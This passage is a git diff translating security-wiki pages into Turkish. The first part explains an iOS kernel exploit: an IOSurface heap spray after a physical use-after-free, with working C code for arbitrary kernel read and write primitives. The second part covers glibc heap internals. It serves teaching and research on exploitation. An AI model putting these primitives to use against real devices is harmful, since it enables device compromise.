edileceğini kontrol edemediğinden, **heap spray** adı verilen bir teknik kullanır: -1. The attacker **creates a large number of IOSurface objects** in kernel memory. -2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify. -3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page. -4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**. +1. Saldırgan, kernel belleğinde **birçok IOSurface nesnesi** oluşturur. +2. Her IOSurface nesnesi, kolayca tanımlanabilmesi için bir alanında **sihirli bir değer** içerir. +3. Serbest bırakılmış sayfaları **tarar** ve bu IOSurface nesnelerinden herhangi birinin serbest bırakılmış bir sayfaya düşüp düşmediğini kontrol eder. +4. Serbest bırakılmış bir sayfada bir IOSurface nesnesi bulduklarında, bunu **kernel belleğini okumak ve yazmak** için kullanabilirler. -More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) +Bu konuda daha fazla bilgi [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) adresinde bulunmaktadır. -### Step-by-Step Heap Spray Process +### Adım Adım Heap Spray Süreci -1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value"). -2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page. -3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them: - * Use one field to **read any 32-bit value** in kernel memory. - * Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**. - -Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: +1. **IOSurface Nesnelerini Spray Et**: Saldırgan, özel bir tanımlayıcı ("sihirli değer") ile birçok IOSurface nesnesi oluşturur. +2. **Serbest Sayfaları Tara**: Bu nesnelerin serbest bırakılmış bir sayfada tahsis edilip edilmediğini kontrol ederler. +3. **Kernel Belleğini Oku/Yaz**: IOSurface nesnesindeki alanları manipüle ederek, kernel belleğinde **rastgele okuma ve yazma** yapma yeteneği kazanırlar. Bu, onlara: +* Kernel belleğindeki herhangi bir 32 bit değeri **okuma** yeteneği sağlar. +* 64 bit değerleri **yazma** yeteneği sağlar ve bu da istikrarlı bir **kernel okuma/yazma ilkesine** ulaşmalarını sağlar. +Sihirli değer IOSURFACE_MAGIC ile IOSurface nesneleri oluşturun ve daha sonra aramak için: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { - if (*nClients >= 0x4000) return; - for (int i = 0; i < nSurfaces; i++) { - fast_create_args_t args; - lock_result_t result; - - size_t size = IOSurfaceLockResultSize; - args.address = 0; - args.alloc_size = *nClients + 1; - args.pixel_format = IOSURFACE_MAGIC; - - IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); - io_connect_t id = result.surface_id; - - (*clients)[*nClients] = id; - *nClients = (*nClients) += 1; - } +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} } ``` - -Search for **`IOSurface`** objects in one freed physical page: - +Serbest bırakılmış bir fiziksel sayfada **`IOSurface`** nesnelerini arayın: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { - io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); - int nSurfaceIDs = 0; - - for (int i = 0; i < 0x400; i++) { - spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); - - for (int j = 0; j < nPages; j++) { - uint64_t start = puafPages[j]; - uint64_t stop = start + (pages(1) / 16); - - for (uint64_t k = start; k < stop; k += 8) { - if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { - info.object = k; - info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; - if (self_task) *self_task = iosurface_get_receiver(k); - goto sprayDone; - } - } - } - } - +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + sprayDone: - for (int i = 0; i < nSurfaceIDs; i++) { - if (surfaceIDs[i] == info.surface) continue; - iosurface_release(client, surfaceIDs[i]); - } - free(surfaceIDs); - - return 0; +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; } ``` +### IOSurface ile Kernel Okuma/Yazma Elde Etme -### Achieving Kernel Read/Write with IOSurface +Kernel belleğinde bir IOSurface nesnesi üzerinde kontrol sağladıktan sonra (kullanıcı alanından erişilebilen serbest bırakılmış bir fiziksel sayfaya eşlenmiş), bunu **rastgele kernel okuma ve yazma işlemleri** için kullanabiliriz. -After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**. +**IOSurface'daki Anahtar Alanlar** -**Key Fields in IOSurface** +IOSurface nesnesinin iki kritik alanı vardır: -The IOSurface object has two crucial fields: +1. **Kullanım Sayısı İşaretçisi**: **32-bit okuma** sağlar. +2. **İndeksli Zaman Damgası İşaretçisi**: **64-bit yazma** sağlar. -1. **Use Count Pointer**: Allows a **32-bit read**. -2. **Indexed Timestamp Pointer**: Allows a **64-bit write**. +Bu işaretçileri geçersiz kılarak, onları kernel belleğindeki rastgele adreslere yönlendiriyoruz ve okuma/yazma yeteneklerini etkinleştiriyoruz. -By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities. +#### 32-Bit Kernel Okuma -#### 32-Bit Kernel Read - -To perform a read: - -1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset. -2. Use the `get_use_count` method to read the value at that address. +Okuma gerçekleştirmek için: +1. **kullanım sayısı işaretçisini** hedef adrese 0x14 baytlık bir offset çıkararak işaret edecek şekilde geçersiz kılın. +2. O adresteki değeri okumak için `get_use_count` yöntemini kullanın. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { - uint64_t args[1] = {surfaceID}; - uint32_t size = 1; - uint64_t out = 0; - IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); - return (uint32_t)out; +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; } uint32_t iosurface_kread32(uint64_t addr) { - uint64_t orig = iosurface_get_use_count_pointer(info.object); - iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 - uint32_t value = get_use_count(info.client, info.surface); - iosurface_set_use_count_pointer(info.object, orig); - return value; +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; } ``` +#### 64-Bit Kernel Yazma -#### 64-Bit Kernel Write - -To perform a write: - -1. Overwrite the **indexed timestamp pointer** to the target address. -2. Use the `set_indexed_timestamp` method to write a 64-bit value. +Yazma işlemi gerçekleştirmek için: +1. **İndeksli zaman damgası işaretçisini** hedef adrese yazın. +2. 64-bit bir değer yazmak için `set_indexed_timestamp` yöntemini kullanın. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { - uint64_t args[3] = {surfaceID, 0, value}; - IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); } void iosurface_kwrite64(uint64_t addr, uint64_t value) { - uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); - iosurface_set_indexed_timestamp_pointer(info.object, addr); - set_indexed_timestamp(info.client, info.surface, value); - iosurface_set_indexed_timestamp_pointer(info.object, orig); +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` +#### Exploit Akışı Özeti -#### Exploit Flow Recap - -1. **Trigger Physical Use-After-Free**: Free pages are available for reuse. -2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory. -3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control. -4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods. - -With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices). +1. **Fiziksel Use-After-Free Tetikleme**: Serbest sayfalar yeniden kullanım için mevcuttur. +2. **IOSurface Nesnelerini Spray Etme**: Kernel belleğinde benzersiz bir "sihirli değer" ile birçok IOSurface nesnesi ayırın. +3. **Erişilebilir IOSurface'ı Belirleme**: Kontrol ettiğiniz serbest bir sayfada bir IOSurface bulun. +4. **Use-After-Free'i Kötüye Kullanma**: IOSurface nesnesindeki işaretçileri değiştirerek IOSurface yöntemleri aracılığıyla keyfi **kernel okuma/yazma** işlemlerini etkinleştirin. +Bu ilkelere sahip olarak, exploit kontrol edilen **32-bit okumalar** ve **64-bit yazmalar** sağlar. Daha fazla jailbreak adımları, ek korumaları aşmayı gerektirebilecek daha stabil okuma/yazma ilkelere dahil olabilir (örneğin, daha yeni arm64e cihazlarda PPL). diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index 319126fe0..532f049b4 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -1,197 +1,190 @@ # Libc Heap -## Heap Basics +## Heap Temelleri -The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**. +Heap, temelde bir programın **`malloc`**, `calloc` gibi fonksiyonları çağırarak veri talep ettiğinde verileri depolayabileceği yerdir. Ayrıca, bu bellek artık gerekli olmadığında **`free`** fonksiyonu çağrılarak kullanılabilir hale getirilir. -As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section): +Görüldüğü gibi, bu bellek, ikili dosyanın bellekte yüklendiği yerin hemen sonrasındadır (bakınız `[heap]` bölümü):
-### Basic Chunk Allocation +### Temel Chunk Tahsisi -When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is. +Heap'te depolanması istenen bazı veriler için heap'ten bir alan tahsis edilir. Bu alan bir bin'e ait olacak ve yalnızca istenen veri + bin başlıklarının alanı + minimum bin boyutu ofseti chunk için ayrılacaktır. Amaç, her chunk'ın nerede olduğunu bulmayı karmaşık hale getirmeden mümkün olan en az bellek ayırmaktır. Bunun için, her kullanılan/boş chunk'ın nerede olduğunu bilmek için metadata chunk bilgisi kullanılır. -There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following: +Alanı ayırmanın farklı yolları vardır, esasen kullanılan bin'e bağlıdır, ancak genel bir metodoloji şudur: -- The program starts by requesting certain amount of memory. -- If in the list of chunks there someone available big enough to fulfil the request, it'll be used - - This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list -- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk -- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk -- If everything fails, `malloc` returns null. +- Program belirli bir miktar bellek talep ederek başlar. +- Eğer chunk listesinde talebi karşılayacak kadar büyük bir alan varsa, bu kullanılacaktır. +- Bu, mevcut chunk'ın bir kısmının bu talep için kullanılacağı ve geri kalanının chunk listesine ekleneceği anlamına gelebilir. +- Eğer listede mevcut bir chunk yoksa ancak tahsis edilmiş heap belleğinde hala alan varsa, heap yöneticisi yeni bir chunk oluşturur. +- Eğer yeni chunk'ı tahsis etmek için yeterli heap alanı yoksa, heap yöneticisi çekirdekten heap'e tahsis edilen belleği genişletmesini ister ve ardından bu belleği yeni chunk'ı oluşturmak için kullanır. +- Her şey başarısız olursa, `malloc` null döner. -Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory. +Talep edilen **bellek bir eşiği geçerse**, **`mmap`** talep edilen belleği haritalamak için kullanılacaktır. -## Arenas +## Arenalar -In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck. +**Çoklu iş parçacıklı** uygulamalarda, heap yöneticisi çöküşe yol açabilecek **yarış koşullarını** önlemelidir. Başlangıçta, yalnızca bir iş parçacığının aynı anda heap'e erişebilmesini sağlamak için **küresel bir mutex** kullanılıyordu, ancak bu mutex kaynaklı darboğaz nedeniyle **performans sorunlarına** yol açtı. -To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas. +Bunu çözmek için, ptmalloc2 heap tahsis edici "arenalar" tanıttı; burada **her arena** kendi **veri yapıları** ve **mutex** ile **ayrı bir heap** olarak işlev görür ve farklı arenaları kullandıkları sürece birden fazla iş parçacığının heap işlemleri gerçekleştirmesine olanak tanır. -The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention. +Varsayılan "ana" arena, tek iş parçacıklı uygulamalar için heap işlemlerini yönetir. **Yeni iş parçacıkları** eklendiğinde, heap yöneticisi bunlara **ikincil arenalar** atar ve rekabeti azaltır. İlk olarak, her yeni iş parçacığını kullanılmayan bir arenaya bağlamaya çalışır, gerekirse yeni arenalar oluşturur; bu, 32-bit sistemler için CPU çekirdeklerinin sayısının 2 katı ve 64-bit sistemler için 8 katı ile sınırlıdır. Limit aşıldığında, **iş parçacıkları arenaları paylaşmak zorundadır**, bu da potansiyel rekabete yol açar. -Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations. +Ana arenanın `brk` sistem çağrısını kullanarak genişlemesi gibi, ikincil arenalar `mmap` ve `mprotect` kullanarak "alt heap'ler" oluşturur ve çoklu iş parçacıklı işlemler için bellek yönetiminde esneklik sağlar. -### Subheaps +### Alt Heap'ler -Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate: +Alt heap'ler, çoklu iş parçacıklı uygulamalarda ikincil arenalar için bellek rezervleri olarak hizmet eder ve ana heap'ten ayrı olarak kendi heap bölgelerini büyütmelerine ve yönetmelerine olanak tanır. İşte alt heap'lerin başlangıç heap'inden nasıl farklılaştığı ve nasıl çalıştığı: -1. **Initial Heap vs. Subheaps**: - - The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call. - - Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region. -2. **Memory Reservation with `mmap`**: - - When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use. - - By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes. -3. **Gradual Expansion with `mprotect`**: - - The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet. - - To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed. - - Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation. +1. **Başlangıç Heap'i vs. Alt Heap'ler**: +- Başlangıç heap'i, programın ikili dosyasının bellekte hemen ardından yer alır ve `sbrk` sistem çağrısını kullanarak genişler. +- İkincil arenalar tarafından kullanılan alt heap'ler, belirli bir bellek bölgesini haritalayan `mmap` aracılığıyla oluşturulur. +2. **`mmap` ile Bellek Rezervasyonu**: +- Heap yöneticisi bir alt heap oluşturduğunda, `mmap` aracılığıyla büyük bir bellek bloğu rezerve eder. Bu rezervasyon hemen bellek tahsis etmez; yalnızca diğer sistem süreçlerinin veya tahsislerin kullanmaması gereken bir bölgeyi belirler. +- Varsayılan olarak, bir alt heap için rezerve edilen boyut 32-bit süreçler için 1 MB ve 64-bit süreçler için 64 MB'dır. +3. **`mprotect` ile Aşamalı Genişleme**: +- Rezerve edilen bellek bölgesi başlangıçta `PROT_NONE` olarak işaretlenir, bu da çekirdeğin bu alana fiziksel bellek tahsis etmesi gerekmediğini gösterir. +- Alt heap'i "büyütmek" için, heap yöneticisi `mprotect` kullanarak sayfa izinlerini `PROT_NONE`'dan `PROT_READ | PROT_WRITE`'a değiştirir ve çekirdeği daha önce rezerve edilen adreslere fiziksel bellek tahsis etmeye yönlendirir. Bu adım adım yaklaşım, alt heap'in gerektiği gibi genişlemesine olanak tanır. +- Tüm alt heap tükendiğinde, heap yöneticisi yeni bir alt heap oluşturur. ### heap_info -This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info. - +Bu yapı, heap'in ilgili bilgilerini tahsis eder. Ayrıca, daha fazla tahsisten sonra heap belleği sürekli olmayabilir, bu yapı bu bilgiyi de saklayacaktır. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837 typedef struct _heap_info { - mstate ar_ptr; /* Arena for this heap. */ - struct _heap_info *prev; /* Previous heap. */ - size_t size; /* Current size in bytes. */ - size_t mprotect_size; /* Size in bytes that has been mprotected - PROT_READ|PROT_WRITE. */ - size_t pagesize; /* Page size used when allocating the arena. */ - /* Make sure the following data is properly aligned, particularly - that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of - MALLOC_ALIGNMENT. */ - char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; +mstate ar_ptr; /* Arena for this heap. */ +struct _heap_info *prev; /* Previous heap. */ +size_t size; /* Current size in bytes. */ +size_t mprotect_size; /* Size in bytes that has been mprotected +PROT_READ|PROT_WRITE. */ +size_t pagesize; /* Page size used when allocating the arena. */ +/* Make sure the following data is properly aligned, particularly +that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of +MALLOC_ALIGNMENT. */ +char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; } heap_info; ``` - ### malloc_state -**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\ -It’s important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\ -In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**. +**Her heap** (ana arena veya diğer thread arenaları) bir **`malloc_state` yapısına sahiptir.**\ +**Ana arena `malloc_state`** yapısının **libc'de global bir değişken olduğunu** belirtmek önemlidir (bu nedenle libc bellek alanında yer alır).\ +**Thread'lerin heap'lerinin `malloc_state`** yapıları ise **kendi thread "heap"lerinin içinde** yer alır. -There some interesting things to note from this structure (see C code below): +Bu yapıdan bazı ilginç noktalar vardır (aşağıdaki C koduna bakın): -- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time -- Flags: +- `__libc_lock_define (, mutex);` Bu yapıdan heap'e erişimin aynı anda 1 thread tarafından yapılmasını sağlamak için vardır. +- Bayraklar: - - ```c - #define NONCONTIGUOUS_BIT (2U) +- ```c +#define NONCONTIGUOUS_BIT (2U) - #define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) - #define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) - #define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) - #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) - ``` - -- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used) - - Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**. -- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas -- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space. -- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here. +#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) +#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) +#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) +#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) +``` +- `mchunkptr bins[NBINS * 2 - 2];` **küçük, büyük ve sıralanmamış** **bins**'lerin **ilk ve son chunk'larına** **işaretçiler** içerir (0. indeks kullanılmadığı için -2). +- Bu nedenle, bu bins'lerin **ilk chunk'ı** bu yapıya **geri işaretçi** ve bu bins'lerin **son chunk'ı** bu yapıya **ileri işaretçi** içerecektir. Bu, eğer **ana arenada bu adresleri sızdırabilirseniz** yapıya bir işaretçi elde edeceğiniz anlamına gelir **libc**'de. +- `struct malloc_state *next;` ve `struct malloc_state *next_free;` yapıları arena'ların bağlı listeleridir. +- `top` chunk, temelde **tüm heap hatırlatma alanı** olan son "chunk"tır. `top` chunk "boş" olduğunda, heap tamamen kullanılmıştır ve daha fazla alan talep etmesi gerekir. +- `last reminder` chunk, tam boyutlu bir chunk mevcut olmadığında ve bu nedenle daha büyük bir chunk bölündüğünde, kalan kısmın işaretçisinin buraya yerleştirildiği durumlardan gelir. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 struct malloc_state { - /* Serialize access. */ - __libc_lock_define (, mutex); +/* Serialize access. */ +__libc_lock_define (, mutex); - /* Flags (formerly in max_fast). */ - int flags; +/* Flags (formerly in max_fast). */ +int flags; - /* Set if the fastbin chunks contain recently inserted free blocks. */ - /* Note this is a bool but not all targets support atomics on booleans. */ - int have_fastchunks; +/* Set if the fastbin chunks contain recently inserted free blocks. */ +/* Note this is a bool but not all targets support atomics on booleans. */ +int have_fastchunks; - /* Fastbins */ - mfastbinptr fastbinsY[NFASTBINS]; +/* Fastbins */ +mfastbinptr fastbinsY[NFASTBINS]; - /* Base of the topmost chunk -- not otherwise kept in a bin */ - mchunkptr top; +/* Base of the topmost chunk -- not otherwise kept in a bin */ +mchunkptr top; - /* The remainder from the most recent split of a small request */ - mchunkptr last_remainder; +/* The remainder from the most recent split of a small request */ +mchunkptr last_remainder; - /* Normal bins packed as described above */ - mchunkptr bins[NBINS * 2 - 2]; +/* Normal bins packed as described above */ +mchunkptr bins[NBINS * 2 - 2]; - /* Bitmap of bins */ - unsigned int binmap[BINMAPSIZE]; +/* Bitmap of bins */ +unsigned int binmap[BINMAPSIZE]; - /* Linked list */ - struct malloc_state *next; +/* Linked list */ +struct malloc_state *next; - /* Linked list for free arenas. Access to this field is serialized - by free_list_lock in arena.c. */ - struct malloc_state *next_free; +/* Linked list for free arenas. Access to this field is serialized +by free_list_lock in arena.c. */ +struct malloc_state *next_free; - /* Number of threads attached to this arena. 0 if the arena is on - the free list. Access to this field is serialized by - free_list_lock in arena.c. */ - INTERNAL_SIZE_T attached_threads; +/* Number of threads attached to this arena. 0 if the arena is on +the free list. Access to this field is serialized by +free_list_lock in arena.c. */ +INTERNAL_SIZE_T attached_threads; - /* Memory allocated from the system in this arena. */ - INTERNAL_SIZE_T system_mem; - INTERNAL_SIZE_T max_system_mem; +/* Memory allocated from the system in this arena. */ +INTERNAL_SIZE_T system_mem; +INTERNAL_SIZE_T max_system_mem; }; ``` - ### malloc_chunk -This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks. - +Bu yapı, belirli bir bellek parçasını temsil eder. Farklı alanlar, tahsis edilmiş ve tahsis edilmemiş parçalar için farklı anlamlara sahiptir. ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c struct malloc_chunk { - INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ - INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ - struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ - struct malloc_chunk* bk; - /* Only used for large blocks: pointer to next larger size. */ - struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ - struct malloc_chunk* bk_nextsize; +INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ +INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ +struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ +struct malloc_chunk* bk; +/* Only used for large blocks: pointer to next larger size. */ +struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ +struct malloc_chunk* bk_nextsize; }; typedef struct malloc_chunk* mchunkptr; ``` - -As commented previously, these chunks also have some metadata, very good represented in this image: +Daha önce belirtildiği gibi, bu parçaların bazı meta verileri de vardır, bu görüntüde çok iyi temsil edilmiştir:

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

-The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate: +Meta veri genellikle mevcut parça boyutunu gösteren 0x08B'dir ve son 3 bit ile şunları belirtir: -- `A`: If 1 it comes from a subheap, if 0 it's in the main arena -- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap -- `P`: If 1, the previous chunk is in use +- `A`: 1 ise bir alt yığın, 0 ise ana arenadadır +- `M`: 1 ise, bu parça mmap ile tahsis edilen bir alanın parçasıdır ve bir yığın parçası değildir +- `P`: 1 ise, önceki parça kullanımdadır -Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated). +Sonra, kullanıcı verileri için alan ve nihayet parça mevcut olduğunda önceki parça boyutunu belirtmek için 0x08B (veya tahsis edildiğinde kullanıcı verilerini depolamak için) gelir. -Moreover, when available, the user data is used to contain also some data: +Ayrıca, mevcut olduğunda, kullanıcı verileri ayrıca bazı verileri içermek için kullanılır: -- **`fd`**: Pointer to the next chunk -- **`bk`**: Pointer to the previous chunk -- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself -- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself +- **`fd`**: Bir sonraki parçaya işaretçi +- **`bk`**: Önceki parçaya işaretçi +- **`fd_nextsize`**: Listede kendisinden daha küçük olan ilk parçaya işaretçi +- **`bk_nextsize`:** Listede kendisinden daha büyük olan ilk parçaya işaretçi

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

> [!NOTE] -> Note how liking the list this way prevents the need to having an array where every single chunk is being registered. +> Bu şekilde listeyi bağlamanın, her bir parçanın kaydedildiği bir diziye ihtiyaç duymayı önlediğine dikkat edin. -### Chunk Pointers - -When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\ -For these conversions these functions are used: +### Parça İşaretçileri +Malloc kullanıldığında, yazılabilir içeriğe işaret eden bir işaretçi döndürülür (başlıkların hemen ardından), ancak parçaları yönetirken, başlıkların (meta verilerin) başlangıcına işaret eden bir işaretçiye ihtiyaç vardır.\ +Bu dönüşümler için bu fonksiyonlar kullanılır: ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -207,13 +200,11 @@ For these conversions these functions are used: /* The smallest size we can malloc is an aligned minimal chunk */ #define MINSIZE \ - (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) +(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) ``` +### Hizalama & minimum boyut -### Alignment & min size - -The pointer to the chunk and `0x0f` must be 0. - +Chunk'a işaret eden gösterici ve `0x0f` 0 olmalıdır. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61 #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) @@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0. #define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0) #define misaligned_chunk(p) \ - ((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ - & 